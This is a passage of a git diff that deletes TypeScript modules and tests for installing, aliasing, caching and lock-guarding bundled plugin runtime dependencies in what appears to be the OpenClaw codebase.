chunk, - "stdout", - params.packageManager, - params.onProgress, - ); - }); - child.stderr?.on("data", (chunk: Buffer) => { - stderr.push(chunk); - emitBundledRuntimeDepsOutputProgress( - chunk, - "stderr", - params.packageManager, - params.onProgress, - ); - }); - child.on("error", (error) => { - settle(() => reject(new Error(formatBundledRuntimeDepsInstallError({ error })))); - }); - child.on("close", (status, signal) => { - if (status === 0 && !signal) { - settle(resolve); - return; - } - settle(() => - reject( - new Error( - formatBundledRuntimeDepsInstallError({ - status, - signal, - stdout: Buffer.concat(stdout).toString("utf8"), - stderr: Buffer.concat(stderr).toString("utf8"), - }), - ), - ), - ); - }); - }); -} - -export function installBundledRuntimeDeps(params: { - installRoot: string; - installExecutionRoot?: string; - missingSpecs: string[]; - installSpecs?: string[]; - env: NodeJS.ProcessEnv; - warn?: (message: string) => void; - force?: boolean; -}): void { - const installSpecs = normalizeRuntimeDepSpecs(params.installSpecs ?? params.missingSpecs); - if (installSpecs.length === 0) { - return; - } - if (!params.force && isRuntimeDepsPlanMaterialized(params.installRoot, installSpecs)) { - removeLegacyRuntimeDepsManifest(params.installRoot); - return; - } - const context = createBundledRuntimeDepsInstallContext({ - installRoot: params.installRoot, - installExecutionRoot: params.installExecutionRoot, - installSpecs, - env: params.env, - warn: params.warn, - }); - try { - const result = spawnSync(context.runner.command, context.runner.args, { - cwd: context.installExecutionRoot, - encoding: "utf8", - env: context.runner.env ?? context.installEnv, - stdio: "pipe", - windowsHide: true, - }); - if (result.status !== 0 || result.error) { - throw new Error(formatBundledRuntimeDepsInstallError(result)); - } - finalizeBundledRuntimeDepsInstall({ installRoot: params.installRoot, context }); - } finally { - cleanupBundledRuntimeDepsInstallContext(context); - } -} - -export async function installBundledRuntimeDepsAsync(params: { - installRoot: string; - installExecutionRoot?: string; - missingSpecs: string[]; - installSpecs?: string[]; - env: NodeJS.ProcessEnv; - warn?: (message: string) => void; - onProgress?: (message: string) => void; - force?: boolean; -}): Promise { - const installSpecs = normalizeRuntimeDepSpecs(params.installSpecs ?? params.missingSpecs); - if (installSpecs.length === 0) { - return; - } - if (!params.force && isRuntimeDepsPlanMaterialized(params.installRoot, installSpecs)) { - removeLegacyRuntimeDepsManifest(params.installRoot); - return; - } - const context = createBundledRuntimeDepsInstallContext({ - installRoot: params.installRoot, - installExecutionRoot: params.installExecutionRoot, - installSpecs, - env: params.env, - warn: params.warn, - }); - try { - params.onProgress?.( - `Starting ${context.runner.packageManager} install for bundled plugin runtime deps: ${installSpecs.join(", ")}`, - ); - await spawnBundledRuntimeDepsInstall({ - command: context.runner.command, - args: context.runner.args, - cwd: context.installExecutionRoot, - env: context.runner.env ?? context.installEnv, - packageManager: context.runner.packageManager, - onProgress: params.onProgress, - }); - finalizeBundledRuntimeDepsInstall({ installRoot: params.installRoot, context }); - } finally { - cleanupBundledRuntimeDepsInstallContext(context); - } -} - -export async function repairBundledRuntimeDepsInstallRootAsync(params: { - installRoot: string; - missingSpecs: string[]; - installSpecs: string[]; - env: NodeJS.ProcessEnv; - installDeps?: (params: BundledRuntimeDepsInstallParams) => Promise; - warn?: (message: string) => void; - onProgress?: (message: string) => void; -}): Promise<{ installSpecs: string[] }> { - return await withBundledRuntimeDepsInstallRootLockAsync(params.installRoot, async () => { - const installSpecs = normalizeRuntimeDepSpecs(params.installSpecs); - const install = - params.installDeps ?? - ((installParams) => - installBundledRuntimeDepsAsync({ - installRoot: installParams.installRoot, - missingSpecs: installParams.missingSpecs, - installSpecs: installParams.installSpecs, - env: params.env, - warn: params.warn, - onProgress: params.onProgress, - force: true, - })); - const finishActivity = beginBundledRuntimeDepsInstall({ - installRoot: params.installRoot, - missingSpecs: installSpecs, - installSpecs, - }); - removeLegacyRuntimeDepsManifest(params.installRoot); - ensureNpmInstallExecutionManifest(params.installRoot, installSpecs); - try { - await install({ - installRoot: params.installRoot, - missingSpecs: installSpecs, - installSpecs, - }); - } finally { - finishActivity(); - } - removeLegacyRuntimeDepsManifest(params.installRoot); - return { installSpecs }; - }); -} diff --git a/src/plugins/bundled-runtime-deps-jiti-aliases.test.ts b/src/plugins/bundled-runtime-deps-jiti-aliases.test.ts deleted file mode 100644 index b75d275924b..00000000000 --- a/src/plugins/bundled-runtime-deps-jiti-aliases.test.ts +++ /dev/null @@ -1,200 +0,0 @@ -import fs from "node:fs"; -import os from "node:os"; -import path from "node:path"; -import { afterEach, describe, expect, it } from "vitest"; -import { - clearBundledRuntimeDependencyJitiAliases, - registerBundledRuntimeDependencyJitiAliases, - resolveBundledRuntimeDependencyJitiAliasMap, -} from "./bundled-runtime-deps-jiti-aliases.js"; - -const tempDirs: string[] = []; - -function makeTempRoot(): string { - const tempDir = fs.mkdtempSync(path.join(os.tmpdir(), "openclaw-runtime-aliases-")); - tempDirs.push(tempDir); - return tempDir; -} - -function writeJson(filePath: string, value: unknown): void { - fs.mkdirSync(path.dirname(filePath), { recursive: true }); - fs.writeFileSync(filePath, `${JSON.stringify(value, null, 2)}\n`, "utf8"); -} - -function writeFile(filePath: string): void { - fs.mkdirSync(path.dirname(filePath), { recursive: true }); - fs.writeFileSync(filePath, "export default null;\n", "utf8"); -} - -function packageRoot(rootDir: string, packageName: string): string { - return path.join(rootDir, "node_modules", ...packageName.split("/")); -} - -afterEach(() => { - clearBundledRuntimeDependencyJitiAliases(); - for (const tempDir of tempDirs.splice(0)) { - fs.rmSync(tempDir, { recursive: true, force: true }); - } -}); - -describe("bundled runtime dependency Jiti aliases", () => { - it("registers root, subpath, wildcard, and scoped package aliases", () => { - const rootDir = makeTempRoot(); - writeJson(path.join(rootDir, "package.json"), { - dependencies: { - plain: "1.0.0", - wild: "1.0.0", - "@scope/pkg": "1.0.0", - }, - }); - - const plainRoot = packageRoot(rootDir, "plain"); - writeJson(path.join(plainRoot, "package.json"), { - exports: { - ".": { import: "./esm/index.js", default: "./cjs/index.js" }, - "./feature": "./features/feature.js", - }, - }); - writeFile(path.join(plainRoot, "cjs/index.js")); - writeFile(path.join(plainRoot, "features/feature.js")); - - const wildRoot = packageRoot(rootDir, "wild"); - writeJson(path.join(wildRoot, "package.json"), { - exports: { - "./sub/*": "./dist/*.js", - }, - }); - writeFile(path.join(wildRoot, "dist/a.js")); - writeFile(path.join(wildRoot, "dist/nested/b.js")); - - const scopedRoot = packageRoot(rootDir, "@scope/pkg"); - writeJson(path.join(scopedRoot, "package.json"), { - module: "./index.mjs", - }); - writeFile(path.join(scopedRoot, "index.mjs")); - - registerBundledRuntimeDependencyJitiAliases(rootDir); - - expect(resolveBundledRuntimeDependencyJitiAliasMap()).toEqual({ - "wild/sub/nested/b": path.join(wildRoot, "dist/nested/b.js"), - "plain/feature": path.join(plainRoot, "features/feature.js"), - "@scope/pkg": path.join(scopedRoot, "index.mjs"), - "wild/sub/a": path.join(wildRoot, "dist/a.js"), - plain: path.join(plainRoot, "cjs/index.js"), - }); - }); - - it("prefers require-compatible conditional exports for CommonJS-only runtime deps", () => { - const rootDir = makeTempRoot(); - writeJson(path.join(rootDir, "package.json"), { - dependencies: { - ws: "8.20.0", - }, - }); - const wsRoot = packageRoot(rootDir, "ws"); - writeJson(path.join(wsRoot, "package.json"), { - exports: { - ".": { - browser: "./browser.js", - import: "./wrapper.mjs", - require: "./index.js", - }, - }, - }); - writeFile(path.join(wsRoot, "wrapper.mjs")); - writeFile(path.join(wsRoot, "index.js")); - - registerBundledRuntimeDependencyJitiAliases(rootDir); - - expect(resolveBundledRuntimeDependencyJitiAliasMap()).toEqual({ - ws: path.join(wsRoot, "index.js"), - }); - }); - - it("honors package condition order before top-level require fallbacks", () => { - const rootDir = makeTempRoot(); - writeJson(path.join(rootDir, "package.json"), { - dependencies: { - conditional: "1.0.0", - }, - }); - const conditionalRoot = packageRoot(rootDir, "conditional"); - writeJson(path.join(conditionalRoot, "package.json"), { - exports: { - ".": { - browser: { - default: "./dist/web/index.js", - }, - node: { - import: "./dist/node/index.mjs", - require: "./dist/node/index.cjs", - default: "./dist/node/index.mjs", - }, - import: "./dist/index.mjs", - require: "./dist/index.cjs", - default: "./dist/index.mjs", - }, - }, - }); - writeFile(path.join(conditionalRoot, "dist/index.cjs")); - writeFile(path.join(conditionalRoot, "dist/node/index.cjs")); - - registerBundledRuntimeDependencyJitiAliases(rootDir); - - expect(resolveBundledRuntimeDependencyJitiAliasMap()).toEqual({ - conditional: path.join(conditionalRoot, "dist/node/index.cjs"), - }); - }); - - it("falls back to import-only conditional exports for staged runtime deps", () => { - const rootDir = makeTempRoot(); - writeJson(path.join(rootDir, "package.json"), { - dependencies: { - "import-only": "1.0.0", - }, - }); - const importOnlyRoot = packageRoot(rootDir, "import-only"); - writeJson(path.join(importOnlyRoot, "package.json"), { - exports: { - ".": { - types: "./dist/index.d.ts", - import: "./dist/index.js", - }, - "./provider": { - types: "./dist/provider.d.ts", - import: "./dist/provider.js", - }, - }, - }); - writeFile(path.join(importOnlyRoot, "dist/index.js")); - writeFile(path.join(importOnlyRoot, "dist/provider.js")); - - registerBundledRuntimeDependencyJitiAliases(rootDir); - - expect(resolveBundledRuntimeDependencyJitiAliasMap()).toEqual({ - "import-only/provider": path.join(importOnlyRoot, "dist/provider.js"), - "import-only": path.join(importOnlyRoot, "dist/index.js"), - }); - }); - - it("ignores missing, private, and escaping export targets", () => { - const rootDir = makeTempRoot(); - writeJson(path.join(rootDir, "package.json"), { - dependencies: { - unsafe: "1.0.0", - }, - }); - const unsafeRoot = packageRoot(rootDir, "unsafe"); - writeJson(path.join(unsafeRoot, "package.json"), { - exports: { - ".": "../outside.js", - "./private": "#internal", - "./missing": "./missing.js", - }, - }); - - registerBundledRuntimeDependencyJitiAliases(rootDir); - - expect(resolveBundledRuntimeDependencyJitiAliasMap()).toBeUndefined(); - }); -}); diff --git a/src/plugins/bundled-runtime-deps-jiti-aliases.ts b/src/plugins/bundled-runtime-deps-jiti-aliases.ts deleted file mode 100644 index 54880dcad0d..00000000000 --- a/src/plugins/bundled-runtime-deps-jiti-aliases.ts +++ /dev/null @@ -1,228 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { isPathInside, safeStatSync } from "./path-safety.js"; -import { normalizeJitiAliasTargetPath } from "./sdk-alias.js"; - -type RuntimeDependencyPackageJson = { - dependencies?: Record; - optionalDependencies?: Record; - peerDependencies?: Record; - exports?: unknown; - module?: string; - main?: string; -}; - -const bundledRuntimeDependencyJitiAliases = new Map(); -const RUNTIME_DEPENDENCY_JITI_CONDITION_PASSES = [ - new Set(["node", "require", "default"]), - new Set(["node", "import", "default"]), -] as const; - -function readRuntimeDependencyPackageJson( - packageJsonPath: string, -): RuntimeDependencyPackageJson | null { - try { - return JSON.parse(fs.readFileSync(packageJsonPath, "utf-8")) as RuntimeDependencyPackageJson; - } catch { - return null; - } -} - -function collectRuntimeDependencyNames(pkg: RuntimeDependencyPackageJson): string[] { - return [ - ...Object.keys(pkg.dependencies ?? {}), - ...Object.keys(pkg.optionalDependencies ?? {}), - ...Object.keys(pkg.peerDependencies ?? {}), - ].toSorted((left, right) => left.localeCompare(right)); -} - -function resolveRuntimePackageImportTargetForConditions( - exportsField: unknown, - activeConditions: ReadonlySet, -): string | null { - if (typeof exportsField === "string") { - return exportsField; - } - if (Array.isArray(exportsField)) { - for (const entry of exportsField) { - const resolved = resolveRuntimePackageImportTargetForConditions(entry, activeConditions); - if (resolved) { - return resolved; - } - } - return null; - } - if (!exportsField || typeof exportsField !== "object" || Array.isArray(exportsField)) { - return null; - } - const record = exportsField as Record; - if (Object.prototype.hasOwnProperty.call(record, ".")) { - return resolveRuntimePackageImportTargetForConditions(record["."], activeConditions); - } - for (const [condition, target] of Object.entries(record)) { - if (!activeConditions.has(condition)) { - continue; - } - const resolved = resolveRuntimePackageImportTargetForConditions(target, activeConditions); - if (resolved) { - return resolved; - } - } - return null; -} - -function resolveRuntimePackageImportTarget(exportsField: unknown): string | null { - for (const activeConditions of RUNTIME_DEPENDENCY_JITI_CONDITION_PASSES) { - const resolved = resolveRuntimePackageImportTargetForConditions(exportsField, activeConditions); - if (resolved) { - return resolved; - } - } - return null; -} - -function collectRuntimePackageWildcardImportTargets( - dependencyRoot: string, - exportKey: string, - targetPattern: string, -): Map { - const targets = new Map(); - const wildcardIndex = exportKey.indexOf("*"); - const targetWildcardIndex = targetPattern.indexOf("*"); - if (wildcardIndex === -1 || targetWildcardIndex === -1) { - return targets; - } - const exportPrefix = exportKey.slice(0, wildcardIndex); - const exportSuffix = exportKey.slice(wildcardIndex + 1); - const targetPrefix = targetPattern.slice(0, targetWildcardIndex); - const targetSuffix = targetPattern.slice(targetWildcardIndex + 1); - const targetBase = path.resolve(dependencyRoot, targetPrefix); - if (!isPathInside(dependencyRoot, targetBase) || !safeStatSync(targetBase)?.isDirectory()) { - return targets; - } - const stack = [targetBase]; - while (stack.length > 0) { - const currentDir = stack.pop(); - if (!currentDir) { - continue; - } - let entries: fs.Dirent[]; - try { - entries = fs.readdirSync(currentDir, { withFileTypes: true }); - } catch { - continue; - } - for (const entry of entries) { - const entryPath = path.join(currentDir, entry.name); - if (!isPathInside(dependencyRoot, entryPath)) { - continue; - } - if (entry.isDirectory()) { - stack.push(entryPath); - continue; - } - if (!entry.isFile()) { - continue; - } - const relativeTarget = path.relative(targetBase, entryPath).split(path.sep).join("/"); - if (targetSuffix && !relativeTarget.endsWith(targetSuffix)) { - continue; - } - const wildcardValue = targetSuffix - ? relativeTarget.slice(0, -targetSuffix.length) - : relativeTarget; - targets.set(`${exportPrefix}${wildcardValue}${exportSuffix}`, entryPath); - } - } - return targets; -} - -function collectRuntimePackageImportTargets( - dependencyRoot: string, - pkg: RuntimeDependencyPackageJson, -): Map { - const targets = new Map(); - const exportsField = pkg.exports; - if ( - exportsField && - typeof exportsField === "object" && - !Array.isArray(exportsField) && - Object.keys(exportsField).some((key) => key.startsWith(".")) - ) { - for (const [exportKey, exportValue] of Object.entries(exportsField)) { - if (!exportKey.startsWith(".")) { - continue; - } - const resolved = resolveRuntimePackageImportTarget(exportValue); - if (resolved) { - if (exportKey.includes("*")) { - for (const [wildcardExportKey, targetPath] of collectRuntimePackageWildcardImportTargets( - dependencyRoot, - exportKey, - resolved, - )) { - targets.set(wildcardExportKey, targetPath); - } - } else { - targets.set(exportKey, resolved); - } - } - } - return targets; - } - const rootEntry = resolveRuntimePackageImportTarget(exportsField) ?? pkg.module ?? pkg.main; - if (rootEntry) { - targets.set(".", rootEntry); - } - return targets; -} - -export function clearBundledRuntimeDependencyJitiAliases(): void { - bundledRuntimeDependencyJitiAliases.clear(); -} - -export function registerBundledRuntimeDependencyJitiAliases(rootDir: string): void { - const rootPackageJson = readRuntimeDependencyPackageJson(path.join(rootDir, "package.json")); - if (!rootPackageJson) { - return; - } - for (const dependencyName of collectRuntimeDependencyNames(rootPackageJson)) { - const dependencyPackageJsonPath = path.join( - rootDir, - "node_modules", - ...dependencyName.split("/"), - "package.json", - ); - const dependencyPackageJson = readRuntimeDependencyPackageJson(dependencyPackageJsonPath); - if (!dependencyPackageJson) { - continue; - } - const dependencyRoot = path.dirname(dependencyPackageJsonPath); - for (const [exportKey, entry] of collectRuntimePackageImportTargets( - dependencyRoot, - dependencyPackageJson, - )) { - if (!entry || entry.startsWith("#")) { - continue; - } - const targetPath = path.resolve(dependencyRoot, entry); - if (!isPathInside(dependencyRoot, targetPath) || !fs.existsSync(targetPath)) { - continue; - } - const aliasKey = - exportKey === "." ? dependencyName : `${dependencyName}${exportKey.slice(1)}`; - bundledRuntimeDependencyJitiAliases.set(aliasKey, normalizeJitiAliasTargetPath(targetPath)); - } - } -} - -export function resolveBundledRuntimeDependencyJitiAliasMap(): Record | undefined { - if (bundledRuntimeDependencyJitiAliases.size === 0) { - return undefined; - } - return Object.fromEntries( - [...bundledRuntimeDependencyJitiAliases.entries()].toSorted( - ([left], [right]) => right.length - left.length || left.localeCompare(right), - ), - ); -} diff --git a/src/plugins/bundled-runtime-deps-json.ts b/src/plugins/bundled-runtime-deps-json.ts deleted file mode 100644 index 030a7650360..00000000000 --- a/src/plugins/bundled-runtime-deps-json.ts +++ /dev/null @@ -1,95 +0,0 @@ -import fs from "node:fs"; - -export type JsonObject = Record; - -const MAX_RUNTIME_DEPS_FILE_CACHE_ENTRIES = 2048; - -const runtimeDepsTextFileCache = new Map(); -const runtimeDepsJsonObjectCache = new Map< - string, - { signature: string; value: JsonObject | null } ->(); - -export function readRuntimeDepsJsonObject(filePath: string): JsonObject | null { - const signature = getRuntimeDepsFileSignature(filePath); - const cached = signature ? runtimeDepsJsonObjectCache.get(filePath) : undefined; - if (cached?.signature === signature) { - return cached.value; - } - const source = readRuntimeDepsTextFile(filePath, signature); - if (source === null) { - cacheRuntimeDepsJsonObject(filePath, signature, null); - return null; - } - try { - const parsed = JSON.parse(source) as unknown; - if (!parsed || typeof parsed !== "object" || Array.isArray(parsed)) { - cacheRuntimeDepsJsonObject(filePath, signature, null); - return null; - } - const value = parsed as JsonObject; - cacheRuntimeDepsJsonObject(filePath, signature, value); - return value; - } catch { - cacheRuntimeDepsJsonObject(filePath, signature, null); - return null; - } -} - -function readRuntimeDepsTextFile(filePath: string, signature?: string | null): string | null { - const fileSignature = signature ?? getRuntimeDepsFileSignature(filePath); - const cached = fileSignature ? runtimeDepsTextFileCache.get(filePath) : undefined; - if (cached?.signature === fileSignature) { - return cached.value; - } - try { - const value = fs.readFileSync(filePath, "utf8"); - if (fileSignature) { - rememberRuntimeDepsCacheEntry(runtimeDepsTextFileCache, filePath, { - signature: fileSignature, - value, - }); - } - return value; - } catch { - return null; - } -} - -function getRuntimeDepsFileSignature(filePath: string): string | null { - try { - const stat = fs.statSync(filePath, { bigint: true }); - if (!stat.isFile()) { - return null; - } - return [ - stat.dev.toString(), - stat.ino.toString(), - stat.size.toString(), - stat.mtimeNs.toString(), - ].join(":"); - } catch { - return null; - } -} - -function cacheRuntimeDepsJsonObject( - filePath: string, - signature: string | null, - value: JsonObject | null, -): void { - if (!signature) { - return; - } - rememberRuntimeDepsCacheEntry(runtimeDepsJsonObjectCache, filePath, { signature, value }); -} - -function rememberRuntimeDepsCacheEntry(cache: Map, key: string, value: T): void { - if (cache.size >= MAX_RUNTIME_DEPS_FILE_CACHE_ENTRIES && !cache.has(key)) { - const oldestKey = cache.keys().next().value; - if (oldestKey !== undefined) { - cache.delete(oldestKey); - } - } - cache.set(key, value); -} diff --git a/src/plugins/bundled-runtime-deps-lock.ts b/src/plugins/bundled-runtime-deps-lock.ts deleted file mode 100644 index 8244d210347..00000000000 --- a/src/plugins/bundled-runtime-deps-lock.ts +++ /dev/null @@ -1,310 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { getProcessStartTime } from "../shared/pid-alive.js"; - -export const BUNDLED_RUNTIME_DEPS_LOCK_DIR = ".openclaw-runtime-deps.lock"; - -const BUNDLED_RUNTIME_DEPS_LOCK_OWNER_FILE = "owner.json"; -const BUNDLED_RUNTIME_DEPS_LOCK_WAIT_MS = 100; -const BUNDLED_RUNTIME_DEPS_LOCK_TIMEOUT_MS = 5 * 60_000; -const BUNDLED_RUNTIME_DEPS_LOCK_STALE_MS = 10 * 60_000; -const BUNDLED_RUNTIME_DEPS_OWNERLESS_LOCK_STALE_MS = 30_000; - -type RuntimeDepsLockOwner = { - pid?: number; - starttime?: number; - createdAtMs?: number; - ownerFileState: "ok" | "missing" | "invalid"; - ownerFilePath: string; - ownerFileMtimeMs?: number; - ownerFileIsSymlink?: boolean; - lockDirMtimeMs?: number; -}; - -const CURRENT_PROCESS_STARTTIME = getProcessStartTime(process.pid); - -function sleepSync(ms: number): void { - Atomics.wait(new Int32Array(new SharedArrayBuffer(4)), 0, 0, ms); -} - -async function sleep(ms: number): Promise { - await new Promise((resolve) => setTimeout(resolve, ms)); -} - -function isProcessAlive(pid: number): boolean { - if (!Number.isInteger(pid) || pid <= 0) { - return false; - } - try { - process.kill(pid, 0); - return true; - } catch (error) { - return (error as NodeJS.ErrnoException).code === "EPERM"; - } -} - -function readRuntimeDepsLockOwner(lockDir: string): RuntimeDepsLockOwner { - const ownerFilePath = path.join(lockDir, BUNDLED_RUNTIME_DEPS_LOCK_OWNER_FILE); - let owner: Record | null = null; - let ownerFileState: RuntimeDepsLockOwner["ownerFileState"] = "missing"; - let ownerFileMtimeMs: number | undefined; - let ownerFileIsSymlink: boolean | undefined; - try { - const ownerFileStat = fs.lstatSync(ownerFilePath); - ownerFileMtimeMs = ownerFileStat.mtimeMs; - ownerFileIsSymlink = ownerFileStat.isSymbolicLink(); - } catch { - // The owner file may not exist yet, or may have been removed by the lock owner. - } - try { - const parsed = JSON.parse(fs.readFileSync(ownerFilePath, "utf8")) as unknown; - if (parsed && typeof parsed === "object" && !Array.isArray(parsed)) { - owner = parsed as Record; - ownerFileState = "ok"; - } else { - ownerFileState = "invalid"; - } - } catch (error) { - ownerFileState = - (error as NodeJS.ErrnoException).code === "ENOENT" && ownerFileMtimeMs === undefined - ? "missing" - : "invalid"; - } - let lockDirMtimeMs: number | undefined; - try { - lockDirMtimeMs = fs.statSync(lockDir).mtimeMs; - } catch { - // The lock may have disappeared between the mkdir failure and diagnostics. - } - return { - pid: typeof owner?.pid === "number" ? owner.pid : undefined, - starttime: typeof owner?.starttime === "number" ? owner.starttime : undefined, - createdAtMs: typeof owner?.createdAtMs === "number" ? owner.createdAtMs : undefined, - ownerFileState, - ownerFilePath, - ownerFileMtimeMs, - ownerFileIsSymlink, - lockDirMtimeMs, - }; -} - -function latestFiniteMs(values: readonly (number | undefined)[]): number | undefined { - let latest: number | undefined; - for (const value of values) { - if (typeof value !== "number" || !Number.isFinite(value)) { - continue; - } - if (latest === undefined || value > latest) { - latest = value; - } - } - return latest; -} - -export function shouldRemoveRuntimeDepsLock( - owner: Pick< - RuntimeDepsLockOwner, - "pid" | "starttime" | "createdAtMs" | "lockDirMtimeMs" | "ownerFileMtimeMs" - >, - nowMs: number, - isAlive: (pid: number) => boolean = isProcessAlive, - readStarttime: (pid: number) => number | null = getProcessStartTime, -): boolean { - if (typeof owner.pid === "number") { - if (!isAlive(owner.pid)) { - return true; - } - if (typeof owner.starttime === "number") { - const liveStarttime = readStarttime(owner.pid); - if (liveStarttime !== null && liveStarttime !== owner.starttime) { - return true; - } - } - if (typeof owner.starttime !== "number" && typeof owner.createdAtMs !== "number") { - const legacyObservedAtMs = latestFiniteMs([owner.lockDirMtimeMs, owner.ownerFileMtimeMs]); - return ( - typeof legacyObservedAtMs === "number" && - nowMs - legacyObservedAtMs > BUNDLED_RUNTIME_DEPS_LOCK_STALE_MS - ); - } - return false; - } - - if (typeof owner.createdAtMs === "number") { - return nowMs - owner.createdAtMs > BUNDLED_RUNTIME_DEPS_LOCK_STALE_MS; - } - - const ownerlessObservedAtMs = latestFiniteMs([owner.lockDirMtimeMs, owner.ownerFileMtimeMs]); - return ( - typeof ownerlessObservedAtMs === "number" && - nowMs - ownerlessObservedAtMs > BUNDLED_RUNTIME_DEPS_OWNERLESS_LOCK_STALE_MS - ); -} - -function formatDurationMs(ms: number | undefined): string { - return typeof ms === "number" && Number.isFinite(ms) ? `${Math.max(0, Math.round(ms))}ms` : "n/a"; -} - -export function formatRuntimeDepsLockTimeoutMessage(params: { - lockDir: string; - owner: RuntimeDepsLockOwner; - waitedMs: number; - nowMs: number; -}): string { - const ownerAgeMs = - typeof params.owner.createdAtMs === "number" - ? params.nowMs - params.owner.createdAtMs - : undefined; - const lockAgeMs = - typeof params.owner.lockDirMtimeMs === "number" - ? params.nowMs - params.owner.lockDirMtimeMs - : undefined; - const ownerFileAgeMs = - typeof params.owner.ownerFileMtimeMs === "number" - ? params.nowMs - params.owner.ownerFileMtimeMs - : undefined; - const pidDetail = - typeof params.owner.pid === "number" - ? `pid=${params.owner.pid} alive=${isProcessAlive(params.owner.pid)}` - : "pid=missing"; - const ownerFileSymlink = - typeof params.owner.ownerFileIsSymlink === "boolean" ? params.owner.ownerFileIsSymlink : "n/a"; - return ( - `Timed out waiting for bundled runtime deps lock at ${params.lockDir} ` + - `(waited=${formatDurationMs(params.waitedMs)}, ownerFile=${params.owner.ownerFileState}, ownerFileSymlink=${ownerFileSymlink}, ` + - `${pidDetail}, ownerAge=${formatDurationMs(ownerAgeMs)}, ownerFileAge=${formatDurationMs(ownerFileAgeMs)}, lockAge=${formatDurationMs(lockAgeMs)}, ` + - `ownerFilePath=${params.owner.ownerFilePath}). If no OpenClaw/npm install is running, remove the lock directory and retry.` - ); -} - -export function removeRuntimeDepsLockIfStale(lockDir: string, nowMs: number): boolean { - const owner = readRuntimeDepsLockOwner(lockDir); - if (!shouldRemoveRuntimeDepsLock(owner, nowMs)) { - return false; - } - - try { - fs.rmSync(lockDir, { recursive: true, force: true }); - return true; - } catch { - return false; - } -} - -function writeRuntimeDepsLockOwner(lockDir: string): void { - try { - fs.writeFileSync( - path.join(lockDir, BUNDLED_RUNTIME_DEPS_LOCK_OWNER_FILE), - `${JSON.stringify( - { - pid: process.pid, - ...(typeof CURRENT_PROCESS_STARTTIME === "number" - ? { starttime: CURRENT_PROCESS_STARTTIME } - : {}), - createdAtMs: Date.now(), - }, - null, - 2, - )}\n`, - "utf8", - ); - } catch (ownerWriteError) { - fs.rmSync(lockDir, { recursive: true, force: true }); - throw ownerWriteError; - } -} - -function tryAcquireRuntimeDepsLock(lockDir: string): boolean { - try { - fs.mkdirSync(lockDir); - writeRuntimeDepsLockOwner(lockDir); - return true; - } catch (error) { - const code = (error as NodeJS.ErrnoException).code; - if (code !== "EEXIST") { - throw error; - } - return false; - } -} - -function createRuntimeDepsLockTimeoutError(params: { - lockDir: string; - startedAt: number; - nowMs: number; - cause: unknown; -}): Error { - return new Error( - formatRuntimeDepsLockTimeoutMessage({ - lockDir: params.lockDir, - owner: readRuntimeDepsLockOwner(params.lockDir), - waitedMs: params.nowMs - params.startedAt, - nowMs: params.nowMs, - }), - { cause: params.cause }, - ); -} - -export function withBundledRuntimeDepsFilesystemLock( - installRoot: string, - lockName: string, - run: () => T, -): T { - fs.mkdirSync(installRoot, { recursive: true }); - const lockDir = path.join(installRoot, lockName); - const startedAt = Date.now(); - let locked = false; - while (!locked) { - locked = tryAcquireRuntimeDepsLock(lockDir); - if (!locked) { - removeRuntimeDepsLockIfStale(lockDir, Date.now()); - const nowMs = Date.now(); - if (nowMs - startedAt > BUNDLED_RUNTIME_DEPS_LOCK_TIMEOUT_MS) { - throw createRuntimeDepsLockTimeoutError({ - lockDir, - startedAt, - nowMs, - cause: new Error("runtime deps lock already exists"), - }); - } - sleepSync(BUNDLED_RUNTIME_DEPS_LOCK_WAIT_MS); - } - } - try { - return run(); - } finally { - fs.rmSync(lockDir, { recursive: true, force: true }); - } -} - -export async function withBundledRuntimeDepsFilesystemLockAsync( - installRoot: string, - lockName: string, - run: () => Promise, -): Promise { - fs.mkdirSync(installRoot, { recursive: true }); - const lockDir = path.join(installRoot, lockName); - const startedAt = Date.now(); - let locked = false; - while (!locked) { - locked = tryAcquireRuntimeDepsLock(lockDir); - if (!locked) { - removeRuntimeDepsLockIfStale(lockDir, Date.now()); - const nowMs = Date.now(); - if (nowMs - startedAt > BUNDLED_RUNTIME_DEPS_LOCK_TIMEOUT_MS) { - throw createRuntimeDepsLockTimeoutError({ - lockDir, - startedAt, - nowMs, - cause: new Error("runtime deps lock already exists"), - }); - } - await sleep(BUNDLED_RUNTIME_DEPS_LOCK_WAIT_MS); - } - } - try { - return await run(); - } finally { - fs.rmSync(lockDir, { recursive: true, force: true }); - } -} diff --git a/src/plugins/bundled-runtime-deps-materialization.ts b/src/plugins/bundled-runtime-deps-materialization.ts deleted file mode 100644 index 1769af95178..00000000000 --- a/src/plugins/bundled-runtime-deps-materialization.ts +++ /dev/null @@ -1,383 +0,0 @@ -import fs from "node:fs"; -import path from "node:path"; -import { readRuntimeDepsJsonObject, type JsonObject } from "./bundled-runtime-deps-json.js"; -import { - collectPackageRuntimeDeps, - normalizeRuntimeDepSpecs, - parseInstallableRuntimeDep, - parseInstallableRuntimeDepSpec, - resolveDependencySentinelAbsolutePath, -} from "./bundled-runtime-deps-specs.js"; -import { satisfies } from "./semver.runtime.js"; - -const LEGACY_RETAINED_RUNTIME_DEPS_MANIFEST = ".openclaw-runtime-deps.json"; - -function readGeneratedInstallManifestSpecs(installRoot: string): string[] | null { - const parsed = readRuntimeDepsJsonObject(path.join(installRoot, "package.json")); - if (parsed?.name !== "openclaw-runtime-deps-install") { - return null; - } - const dependencies = parsed.dependencies; - if (!dependencies || typeof dependencies !== "object" || Array.isArray(dependencies)) { - return []; - } - const specs: string[] = []; - for (const [name, version] of Object.entries(dependencies as Record)) { - const dep = parseInstallableRuntimeDep(name, version); - if (dep) { - specs.push(`${dep.name}@${dep.version}`); - } - } - return normalizeRuntimeDepSpecs(specs); -} - -function readPackageRuntimeDepSpecs(packageRoot: string): string[] | null { - const parsed = readRuntimeDepsJsonObject(path.join(packageRoot, "package.json")); - if (!parsed || parsed.name === "openclaw-runtime-deps-install") { - return null; - } - const specs = Object.entries(collectPackageRuntimeDeps(parsed)) - .map(([name, rawVersion]) => parseInstallableRuntimeDep(name, rawVersion)) - .filter((dep): dep is { name: string; version: string } => Boolean(dep)) - .map((dep) => `${dep.name}@${dep.version}`); - return normalizeRuntimeDepSpecs(specs); -} - -function runtimeDepSpecsIncludeAll( - availableSpecs: readonly string[], - requestedSpecs: readonly string[], -): boolean { - const available = new Set(normalizeRuntimeDepSpecs(availableSpecs)); - return normalizeRuntimeDepSpecs(requestedSpecs).every((spec) => available.has(spec)); -} - -function readInstalledRuntimeDepPackage( - rootDir: string, - depName: string, -): { packageDir: string; packageJson: JsonObject } | null { - try { - const packageJsonPath = 